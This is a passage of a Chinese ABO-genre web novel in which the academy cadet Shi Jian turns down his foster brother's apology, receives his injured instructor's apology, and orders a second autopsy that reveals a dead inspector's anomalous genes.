“哦?是打来慰问尊敬的督察队队长阁下吗?那真是很不凑巧,他现下正被解除职务,等候调查了。”温隅安笑咪咪地看向一旁被荷枪实弹严加看管起来的督察队队长,声音如沐春风,却堪比恶鬼索命,“你们也不用太过着急,相信很快就能来一起陪伴他了。到时候在军事法庭上,希望你们也能够如现在这般精神抖擞。” 督察队队长速来知道他笑面虎的绰号,闻言涨红了脸,暴起的意图刚显现,就被两个A级Alpha按住肩膀强迫坐下:“安分点,别动!” 温隅安对内线电话微笑道:“听见了吗?队长阁下也非常担心你们那边的情况,为了让他安心一些,拜托你们不要违抗我弟弟的命令,乖乖配合押解调查哦。不然,如果我的弟弟因为被你们中的谁顶撞而生气,那督察队会被捅出来多少事,我可就说不准了。” 两人一瞬间便面如死灰,抖如筛糠,全然没了刚刚叫嚣的气势,眼睛中满是绝望与破败。 沈行川适时补刀:“真可惜,我们‘区区军校生’,没有资格旁听军事法庭,不能够亲自出庭见证各位被判重刑开除军籍,想想就觉得太遗憾了~” 他的语气和表情带着一种阳光贱,远比直截了当的嘲讽或者阴阳怪气杀伤力更大,这两人脸色更加难看,用怨毒地目光盯着他,要不是还尚存一丝理智,知道这种时候如果再出手伤人那到时候会被判得更重,恐怕早就不管不顾地冲上去了。 而沈行川虽然嘴贫,实则一直以一种保护的姿态守护在时茧身前,等付岩和隋边将奄奄一息的牧野架着走过来。 那两人仍旧不甘心地盯着几人,时茧毫不在意这些无谓的眼光,对付岩和隋边点点头,让他们先行离开,自己则和沈行川负责将这两人押解到温隅安那边。 最终督察队内的涉事人员都被移交给了联邦安全处,牧野先一步被送到中心区军医院,时茧和温隅安进行着善后。 沈行川本来也在,但处于私心,他被温隅安派去搜寻有无遗漏的物证,而自己和时茧则留在档案室。 他有意无意地靠近时茧,时不时偷看他的侧脸,满心的话压在胸口却难以言说。在对手面前那样巧言令色的一个人,曾经在时茧面前也极会伪装,可经历过一次时茧的生死后,他现在却再也没办法对这个人待上虚假的面具,很多时候莽撞得好像个毛头小子。 一方面温隅安深知时茧多半不会想理会自己,一方面他又实在舍不得这样独处的机会,犹豫半响,用连他自己都惊疑的生硬语气,还是喊出了时茧的名字。 “我想了很久,或许你早就不需要了,但我自己心里过不去,我还欠你一个正式的道歉。” 承认自己的错误远比得到一次世俗意义上的成功更难,温隅安的声音有些颤抖,但他还是坚持让自己直视着时茧的眼睛,在少年冷淡的视线中浑身发抖,似乎连内部的血液都完全冻结了。 “你二次分化以后,我对你做过的那些事,说过的那些话,一直以来,都是我在嫉恨、在发疯,把对结果的愤怒和无能为力强加在你身上,想拉着你跟我一起下地狱,可是……可是……” 温隅安重提旧事,才发现连他自己都接受不了过去的自己对时茧所做的一切,他根本就不敢想当时本来就因遭到打击而情感脆弱的时茧,又要被自己迁怒,那些日子他自己一个人,到底该怎么挺过来。 明明他从小到大就没吃过什么苦,是只养在温室花园里美丽而脆弱的蝴蝶,却在成年前夕,本该鼓起勇气拥抱世界的年纪,遭到了来自最亲近的人的伤害,这根本、根本…… 时茧还没有怎么样,温隅安的情绪却率先崩溃了,他有些脱力地扯着时茧的衣角,跪在他身前,悲痛大号:“对不起、对不起……除了这句话我不知道还应该说什么,对不起……小茧……” “你什么错也没有,全都是我的错,我太自私,我就是个傻逼,对不起……” 他颠三倒四,翻来覆去地重复着那三个字,不停地说:“你根本就不应该遇见我……我的出现就是一个错误……” “我该怎么、该怎么弥补你?小茧,我好痛啊,你杀了我吧,杀了我让我赎罪,不然我不知道该怎么办了……” 温隅安长了二十几年,命悬一线的时候有过,忍受不了极高强度的训练压力时有过,但无论再痛、再累,他永远都是以一副笑呵呵的形象示人,从未向谁透露过自己软弱脆弱的一面,但此刻,一个天生会伪装的猎手将自己的弱点完全暴露在人前,不顾形象、悲痛欲绝地在时茧面前嚎啕大哭起来。 连时茧自己都感觉到陌生—— 他从未见过这样的温隅安。 他能够感受到他的痛苦近乎要决堤,他也如同安慰一个失意落寞的陌生人那般,抬起手轻抚在温隅安头顶,熟稔地安抚着他。 温隅安不可置信地抬起头,透过眼泪仰望着时茧,少年如女神般高高在上地抚慰着她受苦的信徒,并未吝啬自己宝贵的同情心。 温隅安同时感受到了幸福和绝望,因为他的女神全然不恨他,平静到他们似乎素未相识的地步。 第75章 第 75 章 你特别值得。 时茧的安静让温隅安心慌, 沉默令温隅安溺毙,而他手心温暖的温度,是压死温隅安的最后一根稻草。 比起宽恕, 和解, 原谅,这更像是一场无声的审判。 温隅安绝望又无力, 他想象不到有这么一天, 他和时茧之间, 会到让时茧憎恨自己都成为一种奢望, 这种完完全全的不在意, 才真正是把凌迟的好刀, 一块一块地割他的肉。 他已经完全放弃了自己的尊严, 眼泪, 愿意把一切都奉献给时茧, 却不知道还能怎样再让对方多看自己一眼, 不要是这么淡漠的、无所谓的眼神。 Alpha骄傲的脊背弯下卑微的弧度, 彻彻底底地将自己最不堪的一面暴露在时茧面前, 祈求般哭着问他:“我要做什么才能让你在意我一点?哪怕是恨我,厌恶我,无论是什么都可以, 告诉我,我该怎么做?” 他的眼泪掉在时茧的靴面, 溅起几点水花,时茧只是有些嫌脏地稍稍挪开了些。 他从上至下俯视着温隅安,看见他忽然僵硬一瞬的肌肉,淡淡道:“被你伤害的是过去的我,他受了很多委屈, 吃过很多苦头,如今的我没有办法替过去的那个自己原谅你,否则那就是背叛了过去那个我;但如今的我也不恨你,不打算浪费时间在纠结谁对不起谁、谁辜负谁的事情上,这样是在对不起未来的我。我不想计较这些恩恩怨怨了,我一个人计较不过来,我们之间的纠葛也就到此为止吧,以后就是相熟的陌生人,或许在毕业后我们还有机会成为同僚,那就再多一个普通战友的关系。” 温隅安嘴唇颤抖着:“不……不……你至少、至少给我一个赎罪的机会,让我弥补你,我们之间怎么可以是……” 陌生人。 十八年的时光,即便只是兄弟,他们也绝对不要就这样算了! 时茧为温隅安的执拗而感到头疼,强硬而残忍地挡开Alpha要来拉自己衣角的手,后退保持距离。 “我不需要你的任何弥补,以后见面公事公办就好,至于私下里,我想非必要我们不用见面。” 说完,带着一些档案转身离开,只留给温隅安一个冷酷的背影。 “小茧!!你回来!!别丢下我!!!” 温隅安不甘心地爬起来追出去,然而刚到门口,就被沈行川拦住。 面对这个自己曾经很崇拜的教官,沈行川却早已没有当初那种激动的心情,在这段时间的共事中,他彻彻底底地看清了这到底是怎么一个阴郁扭曲的人,更何况还知道了这人居然就是时茧的养兄,对他做了那么多过分的事! 再怎么说他也是时茧的好朋友兼班长,怎么可以坐视时茧被欺负!!别说以前崇拜过的教官,就算他是联邦皇帝也不行!!谁敢欺负时茧,皇位他也不是坐不得!! 温隅安的脆弱和痛苦只出现在时茧一个人面前,而面对这个麻烦的军校生,他只剩下不耐:“让开。” 沈行川义愤填膺地拦住去路:“虽然我没听见你们在里面具体都聊了什么,但小茧最后那句话可是说得再清楚不过了,难道你离得那么近也没听到吗?他说,私底下他不想再和你见面,麻烦温长官尊重一下我们小茧的意愿好吗?” 温隅安冷笑着挥开他:“你又算个什么东西,敢在我面前指手画脚——给我让开!” 沈行川不过一个A+,在S级Alpha面前自然是毫无还手之力,然而让温隅安未曾想到的是,原本头也不回的时茧却忽然停下脚步,还不等他高兴,嘴角微微扬起的笑意便彻底凝固。 时茧转身,微微皱眉,冷淡道:“麻烦你对我的同学尊重一些。” 有人撑腰,沈行川的尾巴立刻翘到天上,一溜小跑到时茧身旁,故意气温隅安一般,抬手勾住时茧脖子,嘲笑道:“听见没有,你欺负我,小茧会为我做主。” 温隅安握紧拳头,阴郁地盯着沈行川,看向时茧时,眼神却又无比悲伤,声线颤抖得不成样子:“好……以后无论你说什么,我都会听话照做,只要你还愿意留我在你身边。” 时茧懒得回应,转身就走,小幅度地推了推沈行川,免得他把这疯子刺激得彻底疯了,到时候只怕更不好脱身。 沈行川嘿嘿笑着松开,余光瞥到身后脸色苍白仿佛败犬的温隅安,故意咳嗽两声,提高了音量:“小茧你说说,一个Alpha怎么还来苦情小说那一套,现在说要老实听话,早干嘛去了呀,真是教科书式的孩子死了知道奶了,啧啧啧。” 温隅安脸色更加难看,他想要追上去,可时茧刚才的话还盘旋在耳边,他虽然说比起漠视更希望时茧继续恨他,却也实在不想再继续惹人厌烦,只能逼自己留在原地。 时茧和沈行川很快就走出了温隅安的视野范围,转过一处拐弯,确认他看不见也听不到后,时茧才不赞同地对沈行川说:“你也太夸张了……知道你是好意,但我真的不想再和他有什么瓜葛,所以无论他究竟是真心悔过还是假意哄骗,对我而言都不重要了。” 沈行川着急道:“你也太善良了吧!光我知道的,他当初在反侦查课上……总之,对待这样的人,你可千万不要心软,别轻易原谅他!” 时茧无奈道:“放心吧,我自己有分寸。也谢谢你这么紧张我,至少在我最低谷的时候,一直都陪着我。” 沈行川一笑起来,就眉飞色舞的,爽朗道:“我可是你的班长,同学有什么困难,我这个做班长的,肯定要不遗余力地帮助啊!再说了,你是一个很好很好的人,就算没有我,也总会有其他人愿意陪你度过,因为你真的特别值得。你是我见过最能吃苦、最坚韧的贵族小少爷,如果身居高位的都是你这样的人,联邦的未来一定会更好!!而且不只是我,很多人都是这么觉得的,比如说付岩、隋边,还有我们陆空指的所有人,连牧野教官,一定也都是以你为骄傲的!!” 他的夸奖真诚而又不遗余力,仿佛要将这世界上最美好的词汇都用在时茧身上,把时茧都夸得有点不好意思了:“我真没想到你们……原来就算抛去从前那个S级Omega的头衔,不靠家里,在你们眼里,我依旧还是有这么多优点,这真是……” 太好了。 时茧其实从未想过他要证明些什么、洗刷些什么,他只是发现比起一味忍让和受委屈,他至少应该先把自己能做到的事情做了,却没想到,在这个过程中,原来早已经做出了最好的证明。 现在所有人惊叹不已的都是时茧这个人本身,没有谁再去关注他的家世、他的基因等级、分化结果……所有人知道他的名字时,他是联邦最年轻的“联邦之星”,是以一己之力捣毁极端组织基地的少年英雄,他那短暂而晦暗的过去如今只存在于一些人的悔恨里,而他自己的人生从这里开始,走向光明和崭新。 时茧走出督察队的大门,站在台阶上,看着进进出出的安全局特勤,回忆起刚刚在审讯室时说一不二的权威,忽然对时藏锋说的继承第九军区总指挥官这件事充满兴趣。 当他还是Omega的时候,接受的是最正统的Omega教育,因为头上还有两个哥哥,几乎从未想过自己也有可能会成为第九军区总指挥官,但现在,一年的军校生涯将他的身体和意志都磨炼到可怕的地步,曾经历过的命悬一线也让他不惧生死,他想无论这紊乱的二次分化结束之后他会分化为什么性别,无论是Alpha、Omega、Beta,无论他的基因等级如何,他都不会再认为自己哪点不如人。 他当然不会睡着大觉就等着接手第九军区,但如果时藏锋真的要给,那不妨一试。 时茧不觉得自己会德不配位,他还这么年轻,有的是时间和机会向所有人证明,他不是什么时家的耻辱,相反,时家只能够以他为荣誉,成为他勋章上的一枚。 沈行川站在时茧后面半个身位的位置,强烈的下午光打在两个人身上,却都遮不住时茧蓝眸中熊熊燃烧的意气,这明明是一个重伤初愈的病人,此刻却迸发出如此夺人眼球的野心,甚至半点都没有受到温隅安的影响,他不禁为此感到痴迷,不禁去想,这究竟是怎么样的一个人,在这么小的年纪、经历过这么多事之后,就明确了自己想要什么。 沈行川知道时茧一定能够得到想要的一切,而无论时茧想要的是什么,早在放弃作为好学生循规蹈矩、按部就班能获得的自身上限最好的未来时,将赌注全部□□,压在了那间禁闭室传出的密语中。 时茧有野心,沈行川也有野心—— 他要做时茧最好的朋友,最坚定的拥趸,最长久的见证人,等到时茧功成名就的那一天,他就是他留在人世一部鲜活的胜利者的回忆录。 只要翻开沈行川,就能见到时茧起于微末,最终波澜壮阔的一生。 第76章 第 76 章 “我最优秀的学生。”…… 时茧和沈行川坐上车, 在去医院探望牧野的路上,他抽空在看从督察队涉事方搜出来的一些资料。 作为被皇帝亲自下令颁发联邦之星勋章的人,又何况时茧拥有那样不凡的家世, 导致虽然他现在还只是一个军校生, 但已经实质上参与到极端组织案件前因后果的调查中来。普通群众和一些远离中心区的军校生可能还不熟悉这个横空出世的新星,不过这段时间在中心区出任务的部队几乎都认熟了这张脸, 惊艳的同时, 也难免掺杂一些酸:真是人比人气死人, 人还差几天才成年呢, 就已经站到多少人究其一生也无法达到的高度了。 作为话题中心的时茧此刻却完全没在意那些对他的追捧或羡妒, 他正一份一份地仔细查阅文件, 清楚地知道光是把人带走审查是不够的, 打算从这些地方找找看有无突破口, 哪怕只是一些细枝末节的通讯记录, 也被他一则一则地翻出来。 沈行川自然配合。 时茧其实没抱多少希望, 却没想到还真有发现。 在又一次听见看见那个熟悉的号码时, 时茧默数道:“23。” 他摘掉耳机, 抬起头,对沈行川说:“督察队长的500通私人电话里,有23通是和余维的, 纵使余维作为第一军区总指挥官,严格来说也算督察队的上级, 但督察队在军队中的形象通常是作为监督机构独立存在的,就算他们之间有合作,这合作未免也太频繁,我看了时间,从数据最早可追溯期到现在, 已经长达两年。” 沈行川算了一下,面露惊讶:“那他们之前肯定也一直保持着联系!” 时茧点头:“结合这次余维授意督察队给我使绊子的熟练配合来看,过去这些年间他们应该也合作过不少次,或许是通过这种方式排除异己争权夺利,也或许……” 他顿了顿,直觉余维没那么简单:“余维不好动,但督察队涉事人员一定要严查,不只是杀鸡儆猴告诉这些人时家没那么好惹,更重要的是在这种节骨眼上,他们到底有什么必要非得冲着我来,我不相信这背后没有其他目的。” 按时藏锋的说法是余维为了余宸受辱而蓄意报复,但时茧总觉得余维作为第一军区的总指挥官,没有那么不理智,这或许是他选择出手的原因,但不太可能是唯一原因,甚至不太可能是重要原因。 沈行川神色严肃:“好,我会转达给温上校的。” 温隅安目前主管此事,时茧和沈行川算是他临时的下属,但沈行川知道,时茧“非必要”不想私下再跟温隅安有什么瓜葛,如果真有工作上的沟通,那么他来承担也无妨,总之不能让时茧再被这个混账养兄影响到了! 说话间车子在医院前停下,时茧上次离开还没多久,这么快就又回来了。 他和沈行川在督察队善后,付岩和隋边先一步将重伤的牧野送了过来,几分钟前才刚刚从急救室里出来,现在被转到ICU观察。 付岩透过玻璃看了眼病床上插着呼吸器奄奄一息的牧野,忧愁地叹了口气:“唉,真不知道这些人怎么狠得下心下这么重的手,术前清创的时候很多处伤口都已经发炎腐烂了,有一个年纪比较小的女护士第一眼都被吓哭了不停干呕,医生抢救了六个小时才把人推出来。” 时茧刚到第一军校的时候,因为张扬的性格和家世,牧野没少针对他,他那时候对这个崇尚暴力的教官有不少怨气,多少次都想着找人把他套麻袋狠狠打一顿,但无论如何他并不希望看到这样的结局,更何况这一次他的确是因为自己才有这场无妄之灾,就算有过恩怨,也够一笔勾销了。 只是时茧费解,他和牧野之间一直以来都只有看不惯和不服气吧,那种传统师生情在他们身上并不存在,所以对方究竟是为什么在督察队硬抗了一周多的审讯,哪怕被折磨得送进医院时只剩一口气吊着,也没有把他推出来以换取自身安全? 督察队的人心狠手黑,时茧亲历,要是当时再晚去一会儿这人恐怕就已经没了—— 他身上到底有什么,值得牧野这样做? 连命都不要了,也要自己担下所有责任。 时茧想不明白,或许正如时藏锋也想不明白他为什么要为了一颗弃子如此大动干戈,也正如病房里昏迷的牧野不会想到最后赶来救自己的会是他欺负过的人。 付岩:“医生说牧野教官的右眼受伤太重、时间太久,只能做摘除处理,后面会给他安装上人工义眼,只能够依靠热成像原理勉强分辨,做不到像之前人眼的视野精度;腺体被恶意破坏,也很难再恢复了。除此之外都是一些可以痊愈的伤,虽然伤及根本,但好好护理,恢复到从前的七成水平也不难。” 付岩已经尽量在往好的方向说了,但在场每个人心里都清楚,在这场剿灭极端组织的行动中,受伤害最严重的不是时茧和顾识云,反倒是牧野,这种级别的受损不仅让他变成瞎了一只眼睛的残疾人,以后得生活质量会大打折扣,也让他从一个引以为傲的A+级Alpha,成为现在一个腺体严重受损的某种意义上的真正的“残次品”Alpha。 沈行川闻言,也不由得叹气。 时茧则在想,等牧野醒来知道这一切后,估计多半会后悔自己为什么没有供出来他吧。 主刀医生抽空又来了一趟,仔细地检查一番后,语气轻松了些:“术后情况良好,毕竟是高等级Alpha,只要得到救治,自我修复能力是很强的,按这个趋势,等他全麻效果完全推下去应该就会醒了。” 时茧微微颔首,礼貌道:“谢谢。” 于是他便坐在病房外,拿出资料继续查验,沈行川等人也帮忙一起。 直到病房里传出来几声平稳的“滴”、“滴”,这代表着病人苏醒,护士急匆匆赶来,时茧几人也收起工作,耐心地等医护检查完才消杀了换上防护服进去。 但出乎时茧意料的是,牧野醒来后第一件事居然是用仅剩的那只眼睛四处寻找什么,等看到时茧好端端地站在自己病床前时才隐约松开了口气。 而第一句话,则是:“他们……没为难你吧……” 牧野从未有过的虚弱,声音气若游丝,但仍旧像慢放了一般,清清楚楚地在在场每个人耳中响起,尤其是时茧,连他也愣了一瞬,望过去的眼睛里有微微的震颤,瞳孔也跟着放大—— 他完全没有想到,牧野醒来后会是这样的反应。 因为时茧被惊讶得暂时忘记问题,沈行川忙替他回答:“放心吧教官,小茧什么事儿也没有,平平安安的,还即将被皇帝陛下授予联邦之星勋章,所以他才能见到皇帝陛下,求他签下赦免令,带我们去督察队把你捞出来。” 牧野当时已经晕死过去,没有任何记忆,只是在生与死的瞬间里,恍惚看见一抹蓝色。当时的他还以为这是回光返照,倒也挺高兴,至少死前还能再看时茧一眼,也算了无遗憾。 但现在听沈行川讲完,他才费劲地表现出震惊的神色来,目光来来回回地扫过时茧,似乎不敢相信救了自己的人居然会是时茧—— 原来他当时看见的那抹蓝色,并非幻觉,而是真实的? 时茧真的想方设法,带人来救他。 牧野心中闪过喜悦感动,又浮现出对过往种种的愧疚,种种情绪混合在一起,最终化成眼泪从他完好无损的那只左眼流下。 他已经感觉到了右眼的视野盲区,或者说还在督察队的审讯室里时,他虽然没想过还能再出去,但对自己的情况心里也有数,就算侥幸之下还能再捡回一条命,多半也是个废人了。 付岩以为他是因为想到自己的残缺才流下眼泪,安慰道:“没关系的教官,后续还有义眼手术,装上后和正常眼睛的功能差不多。” 牧野笑着摇摇头,即使是这么简单的动作,对于如今的他而言,也几乎忍着剧痛花掉全身力气了。 他的声音听上去还很虚弱,毕竟刚从鬼门关里救回来,但仅剩下的左眼很亮,仿佛燃烧着火焰,语气也满含真情,对时茧说:“你没事就好……我……一直还欠你一句道歉,我以为这辈子也没有机会再说出口了……” “对不起,时茧同学,希望你允许,咳咳,允许我收回那句话,你不是你们家的耻辱,也不是残次品Alpha,你是你整个家族、你父亲的荣耀,也是……也是我最优秀的学生。” 时茧站在牧野的目光里,神色平静,气质沉稳。 如今的他早已不再需要谁的肯定,也不再是那个被教官打两下屁股凶两声就委屈要哭的小孩子,他成长得是这么快,改变之悬殊,所有人都无法忽视。 他从头到尾都没打算过能要到牧野的道歉,也并不需要,但这不妨碍他站在客观的角度,认为牧野的这份道歉分量很重,也足够真心。 病房里沉默许久后,是少年年轻的、轻快的声音:“没关系。” 他并不是原谅了牧野,只不过时隔一年后,终于能对当初撞得一头是伤的自己说一声没关系。 你看成长很痛,但痛亦是收获,苦痛不值得感恩,但那个在苦痛里慢慢长大的少年却值得。 第77章 第 77 章 尸检。 时茧没在病房待多久, 他还有很多工作要忙,临走前安慰了牧野几句,后者看起来状态还不错, 尤其是在看到时茧没什么大碍、又接受了他的道歉, 说话都更精神了些,沈行川还笑他估计明天就能活蹦乱跳地出院了。 时茧的心情也轻松了不少, 只是还没维持到走出医院, 在接过一个电话后, 脸色陡然变得沉重。 付岩和隋边留在重症监护室, 一方面是为了照顾重伤的牧野, 一方面是为了保护他的安全, 以免余维恼羞成怒之下对他采取什么报复性行动, 所以现在跟在时茧身边的还是只有沈行川一个人。 他看时茧脸色很不好, 忙问:“怎么了?谁的电话?” 时茧声音很冷:“我父亲。他告诉我, 联邦安全局那边传来消息, 督察队队长畏罪自杀, 尸体已经送去解剖了。” 沈行川大吃一惊:“什么?!他、他他他, 死了?!那我们后续的审讯和调查工作怎么展开啊!!而且真的是自杀吗,会不会是什么后背连中三枪之类的……” 时茧收起手机,已不再耽误, 大步流星走向停车场:“联邦安全局直属皇室,余维的手还申不了这么远, 基本可以断定是他自杀,但究竟是畏罪自杀,还是怕泄露什么迫于形势不得不自杀,这可说不准,我们现在必须马上赶过去。” 沈行川差点都跟不上他, 语速和步子一样紧迫:“你是觉得他自杀是怕自己会爆出比私相授受贪污腐败更严重的问题?可惜现在人死了,死无对证,不好下手啊。” “他死了也没关系,尸体会代替他说话,而且一定不会撒谎。” 时茧长腿迈上车厢,沈行川则钻进驾驶座,几秒后原地便只剩下汽车尾气。 路上,沈行川还有心情问:“可我们只是军校生,算不上正式编制,去了不会直接被无视吧?还是说,你已经和时上将通过气了,到时候借他的身份进去?” “……这你别管。反正没人会拦我。” 说这句话的时候,时茧明显心虚了一下,但沈行川一向为他马首是瞻,也没发现他连眼睛都瞥向了另一边。 但其实时茧想到的是阿比斯·诺曼。 “有关杜鹃计划,私下的调查一直没有停下来过,这十几年里也抓到过一些知晓部分内情的间谍,但他们层级较低没有什么可供参考的情报,以我的身份很难公开活动,不过如果是你来做这件事就非常合适,如果你是他们的目标,那么他们迟早会在你身上漏出马脚;如果只是碰巧,他们并未注意到你,你作为一个军校生,私底下进行调查也可以做到祖国低调。”那晚在皇宫里时,阿比斯·诺曼也和时茧谈过正事,“我授予你的联邦之星不只是中看不中用的荣誉头衔,它在一定程度上代表了我的权柄,凡是有皇室势力的部门机构,凭借这个头衔,你都可以来去自由,甚至拥有与高层同等级的权限。” 这已经远超时茧的预计,但阿比斯·诺曼还是不无遗憾道:“其实我想宣告全联邦,你是我心属的皇后,那么你就可以拥有完全与我相等的权利,可惜识云或许更希望你能做他的太子妃,我这具身体也不能够再活很久,我舍不得你年纪轻轻就守寡给他当后妈。” 小妈是危险的职业,后妈更甚。 虽然知道自己“死”后整个联邦都会由顾识云继承,包括皇后,但阿比斯·诺曼的小心眼已经到了要自己针对自己的地步。 时茧无语:“顾识云不就是你吗,左手倒右手的事不知道你在纠结什么。” 阿比斯·诺曼微微一笑,指腹摩挲着时茧的侧脸,低声道:“如果你是我的妻子,又和他眉目传情,那自然是我吃亏;但如果你是他的妻子,我与你偷情,吃亏的就是他。你知道古时传说中的杨贵妃吗,我更愿意做他们口中强占儿媳的皇帝。” 时茧拍开他的手,有些嫌弃:“我现在是Alpha,联邦法律Alpha与Alpha之间不得通婚。况且,家里有皇位要继承的也不只有你儿子一个,联邦最后究竟是谁的还是未知数。” 阿比斯·诺曼深情地看向时茧,笑道:“那当然是你,我的皇后,我的太子妃,我的……女王。” “阁下请进。” 卫兵的声音打断了时茧的回忆,他礼貌地朝对方点点头,收回自己的身份件,带着沈行川光明正大地从正门进入联邦安全局。 沈行川倒吸口气,小步跟上,边打量着深更半夜仍灯火通明忙碌不休的工作人员,边小声对时茧说:“不是吧,我们居然这么容易就进来了?你这联邦之星的身份可真好用,以后肯定比你那个养兄有出息多了!” 医生说时茧的分化结果尚未稳定,随时都有可能再次进入分化热,对外仍旧宣称是之前二次分化的结果,沈行川不知道一个E级Alpha在军队能走到多远,但他知道时茧一定可以达到前所未有的高度。 “时少爷,请跟我这边来,尸体现存放在解剖室里。”在来之前的车上,时茧就已经联系了相关负责人,早就在此等候他们。 时茧点头:“麻烦你。” 他们一路到解剖室,法医在做收尾工作,负责人上前沟通后,其中一人摘下口罩,说:“死者咬破了藏在牙齿里的毒胶囊,过量的□□在一瞬间就让他失去了生命体征,尸体其他地方并无伤口,确认是自杀无疑。” 像联邦安全局这样专门调查部门高官和间谍等特殊犯人的拘捕室里都做了软包处理,解决收掉所有尖锐物,排泄在特制的软胶盆里,睡觉时连被子都没有,门上会有一个长方形空窗,派至少两个人不眨眼的盯着,确保犯人绝不会有任何自杀的可能性。 时茧和沈行川靠近尸体,缓步观察了一圈。 时茧:“看来是早就做好被捕自杀的准备了。” 负责人:“根据尸检的常规检查来看,他的死亡并无疑点,这样的官员我们也见过不少,大多数心理素质差或者家人被背后的人威胁,绝望下选择自杀。” 沈行川有些气馁:“这样说来,线索是断掉了。” 负责人自责道:“对不起,是我们看管不利。” 目前的案件都是极端组织事件的后续收尾工作,督察队队长被捕明面上也只是查他有无收受贿赂从而对无辜者滥用私刑,但只有极少数的人知道追查这条线的真正目的,沈行川也不知情,只是阴谋论揣测道:“不会是余维上将那边有谁给他通风报信,让他自己看着办,别把余维上将拖下水,他才自行了断的吧。” 负责人苦笑道:“即便真有这种可能,但余维上将权限太高,在没有绝对的证据证明他过分损害到联邦利益之前,就算真查出来什么,也只能睁只眼闭只眼罢了。高层互相倾轧,权力斗争速来如此,手段比这凶残的也多得是。” 沈行川愤愤不平:“一天天的真是吃饱了没事撑的,有这党争的闲工夫为什么不去上前线打异种?!我看也就只有时上将还把边境的人命当人命了!!真叫人气不过!!” 时茧本来在查看尸体,闻言思维忽然顿了一瞬,似乎抓住什么东西:“你刚刚说什么?” “嗯?”沈行川的侃侃而谈被打断,纳闷地说:“我说他们真是有病,放着异种不剿,光知道权力斗争了。怎么了?” 时茧的呼吸突然急促起来,脑海里有一些碎片急速拼凑在一起,越来越清晰。沈行川的无心之言提醒了他,想到阿比斯·诺曼和时藏锋曾谈论过的“杜鹃计划”,一开始就是在俘虏的高级异种身上发现的! 他猛地抓住身旁法医的手,一双蓝眼迸发出惊人的亮光,声音高亢而兴奋:“尸检!” 闻言,不管是法医,还是沈行川和负责人都一头雾水。 负责人说:“不是已经检查过了吗?确认是吞毒自杀无误啊。” 时茧快速摇头,激动道:“再做一次尸检!确切地说,是深度解剖!把他的基因拿来检测!” 负责人先是一愣,随即反应过来:“你是说……” 时茧猛地点头:“相信我!他自杀不只是因为怕牵扯出余维,否则他在被捕的那一刻就可以自杀的!他一定是知道自己没那么容易被放过,怕被查出来更严重的事才不得不选择服毒自杀以逃避各种手段下的审讯!” 见负责人和法医们还有些犹豫,时茧稳了稳情绪,虽然还是一张稚嫩的脸,说出的话却莫名让人信服:“你们按我说的做,如果后续出现任何问题,我来承担责任!” 见他这样说,负责人方才放心一些,转而对法医说:“就按时少爷说的做吧。” 实际上以他现在依旧还称呼时茧为时少爷就能看出来,在这些人的潜意识里,时茧依旧还是个有些乱来的小少爷,他们愿意听他的指挥,除去有皇帝的授意之外,也是认为就算他捅出了天大的篓子,也还有时藏锋可以给他兜底。 但很快,随着检查结果出来,他们对时茧的看法就天翻地覆,第一次如此真切地意识到,他拿到联邦有史以来最年轻的“联邦之星”,靠的不光只有运气和家世,这个年纪轻轻却极其敏锐的少年,有着让人惊叹的感知力和天赋。 联邦之星作为绝大读书军官终其一生都追逐不得的荣誉,或许只是时茧的起点而已。 第78章 第 78 章 变态。 检测结果一时半会儿没有那么快能出来, 为以防万一,时茧带着沈行川盯完了整个过程。 等顺利把尸检标本送入检测室时已经是后半夜,天微微破晓渐蓝。 时茧和负责人交谈时, 沈行川看着他发白的脸色有点儿揪心, 劝道:“为这点事儿你都几天没睡好觉了,你也才刚出院不久, 还是先休息休息吧, 再急的事儿也别把身体给熬坏。” 负责人也说:“是啊。我们这里有休息室。” 时茧摇摇头:“我没事。” 沈行川在这方面表现出难以想象的执着和强硬:“还说没事呢, 这小脸憔悴得活像死了十个老公似的, 我需要的是一个健康的时小茧同学, 而不是落下病根风一吹就能灭掉的美人灯儿。” 负责人:“………” 你这例子举得合适吗。什么叫死了十个老公? 时茧拗不过他, 但也没去负责人准备的住宿房间, 在等待区的长椅上脱了衣服披在身上就睡, 刚一躺下就累得闭上眼睡熟了, 看得沈行川一阵阵叹气, 又拿他没办法, 只好把自己的外套脱下来多盖了一层, 免得他睡在这么冷的地方着凉。 沈行川一个A+级别的Alpha,天生体能精力都要比普通人强,干坐在一旁守着。怕过于明亮的灯光晃到时茧的眼睛, 手掌轻轻地覆盖在少年脸上,让他能够睡得更舒服一点儿。 掌心下纤密的睫毛像把小刷子似的时而颤抖, 带来一阵阵轻微的痒意。沈行川借着灯光细细打量时茧的睡颜,这时候的他比平时要更温和一点,没那么冷冰冰的,即将成年的脸上比起初见时消去了婴儿肥,更增添了几分精致。 时茧正在慢慢长开, 一天比一天漂亮,沈行川注意到这一路上好多人在看到他时都露出一副被惊艳到的神色,然而他以为时茧是Alpha,一时间也忍不住为好友担忧起来:一个Alpha长得这么好看,岂不是很容易就让人惦记欺负吗,那些堪称色中饿鬼的Alpha们,可不会管时茧到底是不是Omega,他们只知道掠夺、强占…… 身为Alpha的沈行川,对Alpha可太了解了,他真希望时茧能找到个合乎心意的Omega,小情侣恩恩爱爱甜甜蜜蜜的。 千万不要踏上AA恋的不归之路啊。沈行川为时茧捏了把汗,默默想。 然而时茧梦到了顾识云。 青年有些幽怨地盯着他,那眼神仿佛在控诉不忠的妻子般,幽幽道:“我还没死,你就当着我的面,光明正大的和我父亲搞在一起去了。” 时茧下意识想辩驳,梦里却发不出声,只能眼睁睁看着顾识云朝他越走越近,最后整个人压上来,投下一片足以笼罩他的、极具压迫感的黑影。 “你说我现在就标记你好不好?这个世界上现在只有我知道你是Omega,连你自己都忘了。我标记你,把种子洒进你的身体里,把你里里外外都沾染上我的气息,让所有人一靠近你就能闻出来你已经有一个足够强大的Alpha了,那样你就不会背着我红杏出墙。” 时茧反抗不得,这好像不是他的梦,而是顾识云的梦一样,他如对方所说那样被完全压制,无力动弹,只能被迫感受着后颈被什么尖锐刺破的疼痛,身体无辜地、可怜地颤抖着。 黑影完全笼罩梦境的前一秒,时茧猛然惊醒,他坐起来一看,窗外早已是青天白日了。 身上的外套滑落在地,时茧捡起来时才发现还有一件是沈行川的,后者正捧着两杯咖啡向他走过来。 “安全局没有早餐供应,只有咖啡提神,来一杯吧。” 时茧接过咖啡,抿了一口,去卫生间随便洗漱了下,找到负责人:“走吧,现在去看看结果。” 检测人员将两份对比报告递给时茧,神色凝重:“受检者基因非常奇怪,与人类的基因对比显示并不能达到99.99%的亲缘标准,可无论是外表、内脏等特征,都与正常人类无异,这让我们很难给他下结论。” 